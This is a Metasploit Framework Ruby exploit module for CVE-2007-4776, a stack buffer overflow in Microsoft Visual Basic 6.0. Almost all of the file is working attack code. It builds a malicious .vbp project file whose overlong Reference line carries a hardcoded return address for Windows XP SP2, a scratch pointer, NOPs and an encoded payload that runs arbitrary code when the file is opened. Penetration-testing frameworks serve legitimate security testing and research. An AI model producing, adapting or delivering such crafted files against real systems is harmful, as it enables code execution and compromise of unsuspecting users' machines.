##

# $Id: ms_visual_basic_vbp.rb 10477 2010-09-25 11:59:02Z mc $

##



##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

##



require 'msf/core'



class Metasploit3 < Msf::Exploit::Remote

    Rank = GoodRanking



    include Msf::Exploit::FILEFORMAT



    def initialize(info = {})

        super(update_info(info,

            'Name'           => 'Microsoft Visual Basic VBP Buffer Overflow',

            'Description'    => %q{

                    This module exploits a stack oveflow in Microsoft Visual

                Basic 6.0. When a specially crafted vbp file containing a long

                reference line, an attacker may be able to execute arbitrary

                code.

            },

            'License'        => MSF_LICENSE,

            'Author'         => [ 'MC' ],

            'Version'        => '$Revision: 10477 $',

            'References'     =>

                [

                    [ 'CVE', '2007-4776' ],

                    [ 'OSVDB', '36936' ],

                    [ 'BID', '25629' ]

                ],

            'DefaultOptions' =>

                {

                    'EXITFUNC' => 'process',

                    'DisablePayloadHandler' => 'true',

                },

            'Payload'        =>

                {

                    'Space'    => 650,

                    'BadChars' => "\x00\x0a\x0d\x20",

                    'StackAdjustment' => -3500,

                    'DisableNops'   =>  'True',

                },

            'Platform' => 'win',

            'Targets'        =>

                [

                    [ 'Windows XP SP2 English', { 'Ret' => 0x0fabd271, 'Scratch' => 0x7ffddfb4 } ],

                ],

            'Privileged'     => false,

            'DisclosureDate' => 'Sep 4 2007',

            'DefaultTarget'  => 0))



        register_options(

            [

                OptString.new('FILENAME', [ true, 'The file name.',  'msf.vbp']),

            ], self.class)

    end



    def exploit



        sploit =  rand_text_alpha_upper(496) + [target.ret].pack('V')

        sploit << rand_text_alpha_upper(12) + [target['Scratch']].pack('V')

        sploit << make_nops(24) + payload.encoded



        vbp =  "Type=Exe\r\n"

        vbp << "Form=Form2.frm\r\n"

        vbp << "Reference=*\\G{00020430-0000-0000-C000-000000000046}#2.0#0#..\\..\\..\\..\\WINNT\\System32\\stdole2.tlb#OLE Automation"

        vbp << sploit + "\r\n"

        vbp << "Startup=\"Form2\"\r\n"

        vbp << "Command32=\"\"\r\n"

        vbp << "Name=\"Project2\"\r\n"

        vbp << "HelpContextID=\"0\"\r\n"

        vbp << "CompatibleMode=\"0\"\r\n"

        vbp << "MajorVer=1\r\n"

        vbp << "MinorVer=0\r\n"

        vbp << "RevisionVer=0\r\n"

        vbp << "AutoIncrementVer=0\r\n"

        vbp << "ServerSupportFiles=0\r\n"

        vbp << "VersionCompanyName=\"\"\r\n"

        vbp << "CompilationType=0\r\n"

        vbp << "OptimizationType=0\r\n"

        vbp << "FavorPentiumPro(tm)=0\r\n"

        vbp << "CodeViewDebugInfo=0\r\n"

        vbp << "NoAliasing=0\r\n"

        vbp << "BoundsCheck=0\r\n"

        vbp << "OverflowCheck=0\r\n"

        vbp << "FlPointCheck=0\r\n"

        vbp << "FDIVCheck=0\r\n"

        vbp << "UnroundedFP=0\r\n"

        vbp << "StartMode=0\r\n"

        vbp << "Unattended=0\r\n"

        vbp << "Retained=0\r\n"

        vbp << "ThreadPerObject=0\r\n"

        vbp << "MaxNumberOfThreads=1\r\n"

        vbp << "[MS Transaction Server]\r\n"

        vbp << "AutoRefresh=1\r\n"



        print_status("Creating '#{datastore['FILENAME']}' file ...")



        file_create(vbp)



    end



end